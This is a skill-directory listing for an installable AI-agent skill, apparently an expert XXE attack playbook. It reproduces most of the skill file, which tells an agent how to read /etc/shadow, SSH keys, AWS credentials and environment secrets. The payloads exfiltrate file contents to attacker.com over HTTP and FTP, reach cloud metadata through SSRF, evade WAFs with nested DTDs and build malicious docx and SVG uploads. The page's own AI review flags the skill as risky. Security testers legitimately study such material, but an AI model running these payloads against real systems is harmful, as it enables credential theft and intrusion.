SkillAgentSearch skills...

xxe-xml-external-entity

Also load SCENARIOS.md when you need: - Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE - Office docx XXE step-by-step — unzip → inject DOCTYPE into `word/document.xml` or `[Content_Types].xml` → repackage → upload - DOCTYPE-based blind SSRF — `…

Install / Use

npx skills add yaklang/hack-skills --skill xxe-xml-external-entity

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

94/100

Category

Security

Supported Platforms

Universal

Our assessment of xxe-xml-external-entity

xxe-xml-external-entity scores 94/100 on our quality scale, 331st of 1,108 Security skills we index (top 30%).

Its SKILL.md is 16 KB long, well organised into 68 sections with 33 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so xxe-xml-external-entity is actively maintained.
  • Our last check on 2026-11-16 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file is a skill the agent will follow, and it instructs step-by-step XXE attacks to read sensitive files such as /etc/shadow, SSH keys, AWS credentials, and Windows credential/config files.

AI review: risky

  • The file is a skill the agent will follow, and it instructs step-by-step XXE attacks to read sensitive files such as /etc/shadow, SSH keys, AWS credentials, and Windows credential/config files.
  • It directs OOB exfiltration of file contents to attacker-controlled servers, SSRF against cloud metadata endpoints (169.254.169.254), and escalation to RCE via PHP expect://, XSLT, and Solr Velocity chains.
  • It also instructs crafting malicious Office/SVG/XLSX payloads and uploading them, which are actions designed to steal data or compromise systems rather than benign documentation.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-29. Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

xxe-xml-external-entity compared with similar skills

All 4 of these similar skills score higher than xxe-xml-external-entity; compare them before choosing.

SkillScoreStarsUpdatedFormat
xxe-xml-external-entity (this skill)by yaklang942.3k2mo agoSKILL.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md
designby nextlevelbuilder100149.0k6d agoSKILL.md

Frequently asked questions

How do I install xxe-xml-external-entity?
Run npx skills add yaklang/hack-skills --skill xxe-xml-external-entity. The install tabs above show the steps for each supported agent.
Which AI agents does xxe-xml-external-entity work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is xxe-xml-external-entity safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file is a skill the agent will follow, and it instructs step-by-step XXE attacks to read sensitive files such as /etc/shadow, SSH keys, AWS credentials, and Windows credential/config files. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is xxe-xml-external-entity still maintained?
The repository was last updated about 2 months ago, so xxe-xml-external-entity is actively maintained.

name: xxe-xml-external-entity description: >- XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.

SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion SCENARIOS.md.

0. RELATED ROUTING

Also load:

Extended Scenarios

Also load SCENARIOS.md when you need:

  • Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE
  • Office docx XXE step-by-step — unzip → inject DOCTYPE into word/document.xml or [Content_Types].xml → repackage → upload
  • DOCTYPE-based blind SSRF — PUBLIC external DTD reference triggers HTTP callback without entity reflection
  • PHP expect:// protocol via XXE — direct command execution when expect extension is installed
  • Blind XXE via error messages — force file path error that leaks content in exception text
  • XXE in SOAP web services — inject entities into SOAP Envelope/Body elements

1. CLASSIC XXE PAYLOAD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

If /etc/passwd reflects in response → confirmed file read.


2. ATTACK SURFACE DISCOVERY

Direct XML Inputs

  • SOAP endpoints (text/xml, application/soap+xml)
  • REST APIs accepting application/xml
  • File upload: .xlsx, .docx, .pptx (Office Open XML)
  • SVG uploads (SVG is XML)
  • RSS/Atom feed parsers
  • Web services with XML config import

Non-Obvious XML Processing

Change Content-Type header on any JSON POST to:

Content-Type: application/xml

Then rewrite body as XML — many backends use dual-format parsers or auto-detect.

PDF Generators

Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.


3. OOB (OUT-OF-BAND) XXE — CRITICAL

Use when direct entity reflection fails (server parses but doesn't echo entity content):

Step 1: Blind detection

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>

DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).

Step 2: OOB file exfiltration via attacker-hosted DTD

Attacker's server hosts a malicious DTD at http://attacker.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;

Payload sent to target:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&exfiltrate;</root>

File contents appear in attacker's HTTP server request log.

Step 3: Error-based OOB (alternative when HTTP blocked)

Use intentional error to leak data in error message:

<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;

4. XXE FILE READ TARGETS

Linux:

/etc/passwd
/etc/shadow  (requires root)
/etc/hosts
/proc/self/environ      ← environment variables (DB creds, API keys)
/proc/self/cmdline      ← process command line
/var/log/apache2/access.log  ← may contain passwords in URLs
/home/USER/.ssh/id_rsa  ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history

Windows:

C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config    ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php    ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa

5. SVG XXE (file upload context)

When SVG uploads are accepted and served/processed:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
  <text font-size="16">&xxe;</text>
</svg>

Upload as .svg → GET /uploads/file.svg → file contents in response.


6. OFFICE FILE XXE (docx/xlsx/pptx)

Office files are ZIP archives containing XML. Inject into [Content_Types].xml or word/document.xml:

# Step 1: extract
unzip original.docx -d extracted/

# Step 2: edit word/document.xml — add malicious DTD
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then use &xxe; inside document text

# Step 3: repackage
cd extracted && zip -r ../malicious.docx .

7. SOAP ENDPOINT XXE

SOAP requests parse XML by definition. Inject external entity into SOAP envelope:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser>
      <id>&xxe;</id>
    </getUser>
  </soap:Body>
</soap:Envelope>

8. XXE → SSRF CHAIN

XXE external entity can point to internal HTTP endpoints (identical to SSRF):

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

This combines XXE file read + SSRF into a single payload.


9. XInclude ATTACK

When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

Works in: Apache Cocoon, Xerces-J, libxml2 with XInclude support enabled.


10. PROTOCOL HANDLERS IN XXE

<!-- HTTP (SSRF) -->
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">

<!-- File read -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- PHP wrapper (if PHP with libxml2) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- Decode base64 in response to get file contents -->

<!-- FTP (exfil / port scan) -->
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">

<!-- Gopher (Redis, SMTP) -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">

11. BYPASSING DEFENSES

Parser blocks DOCTYPE

Try XInclude (no DOCTYPE needed, see §9).

Only allows specific XML schemas

If schema validation occurs: inject comments or CDATA after schema validation but before entity processing.

Response encoding issues (binary in response)

Use PHP filter for base64:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Network restrictions on OOB

Use DNS-only OOB via SYSTEM "file://HASH.attacker.com" — no HTTP required, DNS lookup leaks data.


12. QUICK DETECTION CHECKLIST

□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails

13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION)

When external entities are blocked but local DTD files exist on the server:

Technique

<!-- Override an entity defined in a LOCAL DTD file -->
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>

Common Local DTD Paths

Linux

/usr/share/yelp/dtd/docbookx.dtd           # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd         # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd     # Apache Struts
/usr/share/nmap/nmap.dtd                    # Nmap
/opt/zaproxy/xml/alert.dtd                  # OWASP ZAP

Windows

C:\Windows\System32\wbem\xml\cim20.dtd            # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd             # WMI
C:\Program Files\IBM\WebSphere\*.dtd               # WebSphere
C:\Program Files (x86)\Lotus\*.dtd                 # Lotus Notes

Inside JAR Files (Java Applications)

jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd

Why This Works

  • External connections blocked (firewall/WAF/egress filter)
  • But file:// to LOCAL files is usually allowed
  • Local DTD is trusted → entity overrides inject attacker-controlled definitions
  • Error messages or blind extraction via file:// still works

14. ADDITIONAL OOB EXFILTRATION CHANNELS

FTP-based exfiltration (line-by-line)

FTP protocol sends data line-by-line, making it useful for multi-line file exfiltration when HTTP-based OOB truncates at newlines:

<!-- attacker.com/ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;

Run a rogue FTP server (e.g., xxeserv or custom Python) on port 2121 — each line of the file arrives as a separate RETR or CWD command.

HTTP parameter exfiltration

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;

Base64 encoding avoids newline/special-character issues in HTTP URL. Decode the d= parameter on attacker server.


15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING

Parameter entity within parameter entity

Used to bypass parsers that block direct entity references in entity values:

<!DOCTYPE foo [
  <!ENTITY % a "&#x25; b;">
  <!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
  %a;
]>

The parser expands %a; → %b; → fetches external DTD. Some WAFs only inspect the first level of entity definitions.

Triple-nested for filter evasion

<!-- attacker.com/stage1.dtd -->
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;

<!-- attacker.com/stage2.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;

Payload sent to target only references stage1.dtd — the actual file read happens two DTD fetches deep, evading shallow WAF inspection.


16. XXE IN NON-OBVIOUS FORMATS

| Format | XML Location | Injection Point | |--------|-------------|-----------------| | SOAP Envelope | Entire body is XML | Add DOCTYPE before <soap:Envelope> | | SVG Image | SVG is XML | <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in SVG header | | OOXML (.docx) | word/document.xml, [Content_Types].xml | Inject DOCTYPE + entity into any XML member | | OOXML (.xlsx) | xl/sharedStrings.xml, xl/worksheets/sheet1.xml | Entity reference in cell values | | RSS/Atom feeds | Feed body is XML | Inject into feed items if user content is included | | SAML assertions | SAML XML tokens | DOCTYPE injection in SAMLResponse parameter (base64-decoded XML) | | **X

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars2.3k
CategorySecurity
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions